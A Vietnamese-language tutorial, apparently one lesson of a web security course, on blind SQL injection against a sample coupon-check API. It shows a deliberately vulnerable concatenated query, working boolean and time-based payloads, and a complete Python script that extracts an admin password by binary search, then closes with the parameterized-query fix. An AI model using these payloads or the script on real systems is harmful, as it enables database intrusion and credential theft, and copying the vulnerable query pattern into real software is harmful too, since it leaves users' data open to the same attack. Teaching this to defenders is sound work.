Blind SQL Injection: Kỹ thuật suy luận Boolean và Time-based
Giải mã cơ chế trích xuất dữ liệu không hiển thị: phân tách điều kiện chân trị, payload time delay và viết script tự động hóa nhị phân.
TL;DR: Trong môi trường sản xuất thực tế, các ứng dụng hiếm khi in trực tiếp dữ liệu hoặc thông báo lỗi database ra màn hình trình duyệt. Thay vào đó, kẻ tấn công phải chuyển sang kỹ thuật Blind SQL Injection (suy luận logic): đặt câu hỏi True/False cho database và quan sát sự khác biệt trong response trả về (Boolean-based), hoặc buộc database phải tạm dừng xử lý trong một khoảng thời gian xác định (Time-based). Bằng cách kết hợp hàm cắt chuỗi với thuật toán tìm kiếm nhị phân (Binary Search), ta có thể trích xuất từng bit dữ liệu với chi phí request tối thiểu.
1. Scenario — Endpoint kiểm tra tồn tại và chiếc màn hình trắng
Một hệ thống thương mại điện tử triển khai tính năng kiểm tra mã giảm giá (Tracking / Coupon Code) trước khi người dùng nhấn thanh toán. API nhận request từ client như sau:
GET /api/v1/coupons/check?code=WELCOME2026 HTTP/1.1
Host: shop.example.com
Đoạn mã tầng controller xử lý logic kiểm tra:
# Backend Python (Flask / Raw SQL)
@app.route('/api/v1/coupons/check')
def check_coupon():
code = request.args.get('code', '')
query = f"SELECT id FROM coupons WHERE code = '{code}' AND active = true"
cursor.execute(query)
record = cursor.fetchone()
if record:
return jsonify({"valid": True, "message": "Coupon hop le"}), 200
return jsonify({"valid": False, "message": "Coupon khong ton tai"}), 404
Khi kiểm thử viên an ninh chèn thử payload Union quen thuộc:
' UNION SELECT username || ':' || password FROM users--
Màn hình chỉ trả về một thông báo duy nhất: {"valid": false, "message": "Coupon khong ton tai"} với mã HTTP 404. Không có bảng dữ liệu người dùng nào xuất hiện, cũng không có bất kỳ dòng log lỗi nào bị rò rỉ. Nhiều người vội kết luận: "Endpoint này an toàn trước SQL Injection vì không in ra dữ liệu".
Thực tế, ứng dụng vẫn đang nối chuỗi input trực tiếp vào câu lệnh SQL. Dù không in dữ liệu, ứng dụng vẫn để lộ một kênh thông tin chân trị (Oracle) cực kỳ nguy hiểm: trả về 200 khi mệnh đề đúng và 404 khi mệnh đề sai.
2. Analogy — Trò chơi 20 câu hỏi đoán tên
Hãy tưởng tượng bạn đang chơi trò chơi đoán tên một danh nhân lịch sử với một người bạn:
- Bạn không được phép hỏi: "Người đó tên là gì?" vì người bạn đó đã cam kết không bao giờ nói ra cái tên.
- Bạn chỉ được phép đặt các câu hỏi đóng dạng Có/Không (Yes/No questions), ví dụ: "Người này còn sống không?", "Người này là người châu Á đúng không?".
- Dù người bạn chỉ gật đầu hoặc lắc đầu, bạn vẫn có thể tìm ra chính xác danh tính bằng cách thu hẹp dần phạm vi suy luận.
Trong kỹ thuật Blind SQLi, cơ sở dữ liệu đóng vai trò người bạn kín miệng, còn bạn là người đặt các câu hỏi logic Boolean:
| Khái niệm trong trò chơi | Cơ chế trong Blind SQL Injection |
|---|---|
| Bí mật cần đoán | Dữ liệu nhạy cảm trong database (hash mật khẩu, API key, token) |
| Câu hỏi Có/Không | Biểu thức điều kiện SQL: AND (SELECT ASCII(SUBSTRING(password,1,1))) > 100 |
| Người bạn gật đầu (Yes) | Mệnh đề True: HTTP 200 hoặc có chuỗi text xác định |
| Người bạn lắc đầu (No) | Mệnh đề False: HTTP 404 hoặc nội dung báo không tìm thấy |
| Người bạn im lặng suy nghĩ 5 giây | Kỹ thuật Time-based: câu lệnh gọi hàm pg_sleep(5) khi điều kiện True |
3. Vì sao cơ sở dữ liệu để lộ thông tin khi không in lỗi?

3.1. Boolean-based Blind SQLi
Trong Boolean-based Blind SQLi, chúng ta buộc database đánh giá một mệnh đề logic phụ. Nếu mệnh đề con đúng, toàn bộ biểu thức WHERE thỏa mãn; nếu sai, biểu thức WHERE thất bại.
Giả sử mục tiêu là tìm độ dài mật khẩu của quản trị viên (admin):
-- Check if password length > 10
SELECT id FROM coupons
WHERE code = 'WELCOME2026'
AND (SELECT LENGTH(password) FROM users WHERE username = 'admin') > 10
AND active = true;
Nếu server trả về HTTP 200 (True), ta biết mật khẩu dài hơn 10 ký tự. Tiếp tục thử nghiệm với các ngưỡng 20, 15, 16 cho tới khi xác định chính xác độ dài là 16 ký tự.
Sau khi biết độ dài, ta trích xuất từng ký tự bằng hàm cắt chuỗi SUBSTRING() kết hợp hàm chuyển đổi mã ký tự ASCII():
-- Check if first character ASCII code > 70 ('F')
AND (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users WHERE username = 'admin') > 70
Thử ngẫmVì sao ta nên so sánh mã ASCII dạng số thay vì so sánh trực tiếp chuỗi ký tự như 'a', 'b'?
Lý do là so sánh số cho phép áp dụng phép toán lớn hơn/nhỏ hơn (>, <), mở đường cho thuật toán tìm kiếm nhị phân thay vì phải thử lần lượt từng chữ cái.
3.2. Time-based Blind SQLi
Khi ứng dụng xử lý triệt để các thông báo trạng thái, trả về cùng một giao diện và cùng mã HTTP 200 trong mọi trường hợp, kênh suy luận Boolean qua nội dung sẽ bị vô hiệu hóa. Lúc này, ta chuyển sang đo lường thời gian đáp ứng (Time delay).
Mỗi hệ quản trị cơ sở dữ liệu (DBMS) cung cấp một hàm tạm dừng luồng thực thi:
- PostgreSQL:
pg_sleep(seconds) - MySQL / MariaDB:
SLEEP(seconds) - Microsoft SQL Server:
WAITFOR DELAY '0:0:5' - Oracle Database:
dbms_pipe.receive_message(('a'), 5)
Kết hợp hàm rẽ nhánh điều kiện CASE WHEN trong SQL:
-- PostgreSQL payload with conditional sleep
WELCOME2026' AND (
CASE WHEN (
SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users WHERE username = 'admin'
) = 97
THEN pg_sleep(3)
ELSE pg_sleep(0)
END
)--
Nếu request mất ~3,05 giây để phản hồi, điều kiện đã thỏa mãn (ký tự đầu tiên đúng bằng 97, tức chữ 'a'). Nếu request phản hồi ngay sau 50 mili-giây, ký tự đó không phải là 'a'.
# Time-based verification logic
def verify_char(position, ascii_val):
payload = f"WELCOME2026' AND (CASE WHEN (SELECT ASCII(SUBSTRING(token,{position},1)) FROM secrets)={ascii_val} THEN pg_sleep(5) ELSE pg_sleep(0) END)--"
start = time.time()
requests.get("https://api.corp.internal/check", params={"code": payload})
elapsed = time.time() - start
return elapsed >= 5.04. Làm thế nào để tự động hóa trích xuất dữ liệu qua Binary Search?
Trong bài học trước, bạn đã làm quen với việc dùng script Python tự động hóa gửi request:
Ôn lại kỹ thuật viết script Python với thư viện requests để tự động hóa gửi payload và kiểm tra mã trạng thái HTTP.
Một chuỗi ký tự ASCII in được có dải giá trị từ 32 (khoảng trắng) đến 126 (dấu ngã ~), tổng cộng 95 ký tự khả dĩ:
- Linear Search (Dò tuần tự): Thử từng giá trị từ 32 đến 126. Trung bình cần
95 / 2 = 47.5request cho một ký tự. Với mật khẩu 32 ký tự, bạn phải gửi hơn 1.500 HTTP requests. - Binary Search (Tìm kiếm nhị phân): Chia đôi khoảng tìm kiếm sau mỗi lần so sánh. Số bước tối đa cho mỗi ký tự là:
$$\lceil \log_2(95) \rceil = 7$$ (requests)
Trích xuất chuỗi mật khẩu 32 ký tự chỉ tốn tối đa 32 \times 7 = 224 requests, giảm tải hơn 85% lưu lượng mạng và rút ngắn thời gian kiểm thử đáng kể.
Dưới đây là mã nguồn Python mẫu hoàn chỉnh trích xuất dữ liệu qua Boolean inference:
import requests
TARGET_URL = "http://shop.example.com/api/v1/coupons/check"
def test_condition(payload: str) -> bool:
"""Send payload and check if response indicates True condition."""
params = {"code": f"WELCOME2026' AND ({payload})--"}
response = requests.get(TARGET_URL, params=params, timeout=5)
return response.status_code == 200
def get_password_length() -> int:
"""Find password length using binary search."""
low, high = 1, 64
while low <= high:
mid = (low + high) // 2
payload = f"(SELECT LENGTH(password) FROM users WHERE username='admin') >= {mid}"
if test_condition(payload):
low = mid + 1
else:
high = mid - 1
return high
def extract_password(length: int) -> str:
"""Extract each character via ASCII binary search."""
extracted = []
for idx in range(1, length + 1):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = (
f"(SELECT ASCII(SUBSTRING(password, {idx}, 1)) "
f"FROM users WHERE username='admin') > {mid}"
)
if test_condition(payload):
low = mid + 1
else:
high = mid - 1
extracted.append(chr(low))
print(f"[*] Extracted ({idx}/{length}): {''.join(extracted)}")
return "".join(extracted)
if __name__ == "__main__":
pwd_len = get_password_length()
print(f"[+] Detected length: {pwd_len}")
result = extract_password(pwd_len)
print(f"[+] Result: {result}")
Thử ngẫmKhi chạy Time-based injection qua mạng Internet công cộng bị giật lag, bạn cần điều chỉnh script như thế nào để tránh nhận định sai kết quả?
5. Pitfalls & Giải pháp khắc phục triệt để
❌ Bẫy thường gặp: Lọc từ khóa hoặc bắt chẹt dấu nháy
Nhiều lập trình viên cố gắng ngăn chặn Blind SQLi bằng cách lọc các từ khóa nguy hiểm hoặc hàm thời gian:
# ANTI-PATTERN: Blacklist keywords
def sanitize_input(user_input):
bad_words = ["SELECT", "UNION", "SLEEP", "pg_sleep", "--"]
for word in bad_words:
user_input = user_input.replace(word, "")
return user_input
Bộ lọc này thất bại trước kỹ thuật lồng từ khóa (SELSELECTECT), biến thể viết hoa/thường, hoặc các hàm tính toán nặng thay thế sleep như benchmark toán học:
-- Delay execution in MySQL without SLEEP()
AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B)
✅ Giải pháp chuẩn mực: Parameterized Queries (Prepared Statements)
Biện pháp phòng thủ duy nhất loại bỏ tận gốc Blind SQL Injection là phân tách hoàn toàn tầng biên dịch câu lệnh và tầng truyền dữ liệu.
# SECURE PATTERN: Parameterized query with psycopg2
query = "SELECT id FROM coupons WHERE code = %s AND active = true"
cursor.execute(query, (code,))
record = cursor.fetchone()
Khi dùng Prepared Statements, cơ sở dữ liệu đã parse và lập kế hoạch thực thi (Query Execution Plan) trước khi nhận giá trị của code. Toàn bộ chuỗi payload sẽ được coi là một giá trị chuỗi thuần túy (string literal), không bao giờ có thể can thiệp vào cây cú pháp của SQL engine.
6. Đào sâu
Nếu bạn muốn đối chiếu tài liệu kỹ thuật chuẩn quốc tế và nghiên cứu sâu hơn về các kỹ thuật inference:
- PortSwigger Web Security Academy — Blind SQL Injection: Hướng dẫn thực nghiệm chi tiết các kỹ thuật conditional responses, error triggers và time delays.
- OWASP SQL Injection Prevention Cheat Sheet: Quy chuẩn kỹ thuật bảo vệ truy vấn ứng dụng theo từng ngôn ngữ và ORM phổ biến.
- PostgreSQL Documentation — System Information Functions: Đặc tả kỹ thuật các hàm kiểm tra trạng thái và
pg_sleep().
7. Tóm tắt
- Blind SQL Injection là dạng tấn công suy luận, xảy ra khi database không trực tiếp trả về kết quả truy vấn hay thông báo lỗi ra ngoài giao diện.
- Kỹ thuật Boolean-based khai thác sự khác biệt trong nội dung, kích thước response hoặc HTTP status code khi câu hỏi logic đúng hoặc sai.
- Kỹ thuật Time-based tận dụng các hàm tạm dừng hệ thống (
pg_sleep(),SLEEP()) để tạo ra độ trễ thời gian có thể đo lường được trên mạng. - Tìm kiếm nhị phân (Binary Search) là phương pháp tối ưu giúp giảm số lượng HTTP requests cần thiết từ hàng trăm xuống còn đúng 7 lần cho mỗi ký tự.
- Tham số hóa câu lệnh (Parameterized Queries) là biện pháp phòng thủ triệt để duy nhất loại bỏ hoàn toàn bề mặt tấn công này.
8. Tự kiểm tra
- Q1Vì sao việc ứng dụng ẩn toàn bộ thông báo lỗi database (chỉ hiển thị mã lỗi chung 500) vẫn không đủ để ngăn chặn tấn công SQL Injection?
- Q2Trong kỹ thuật Time-based SQLi, giả sử máy chủ bị nghẽn mạng đột ngột khiến một request thông thường mất 4 giây phản hồi, làm thế nào để script tấn công không kết luận nhầm là điều kiện True?
- Q3So sánh hiệu năng giữa kỹ thuật dò tuần tự (Linear Search) và tìm kiếm nhị phân (Binary Search) khi trích xuất một bảng hash SHA-256 gồm 64 ký tự hex (0-9, a-f)?
- Q4Nếu một ứng dụng sử dụng ORM như Hibernate hoặc SQLAlchemy, liệu có thể hoàn toàn miễn nhiễm với Blind SQL Injection không? Vì sao?
- Q5Khi thực hiện Blind SQL Injection trên môi trường có Web Application Firewall (WAF) giới hạn rate limit 10 requests/phút, kỹ thuật nào giúp giảm thiểu số request tối đa?
Bài tiếp theo: Second-order SQL Injection: Khi dữ liệu độc kích hoạt ở ngữ cảnh thứ hai
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Tổng quan module Advanced Injections & Code Execution
Bài tiếpSecond-order SQL Injection: Khi dữ liệu kích hoạt ở bước hai
Thảo luận & góp ý
Hỏi đáp về bài này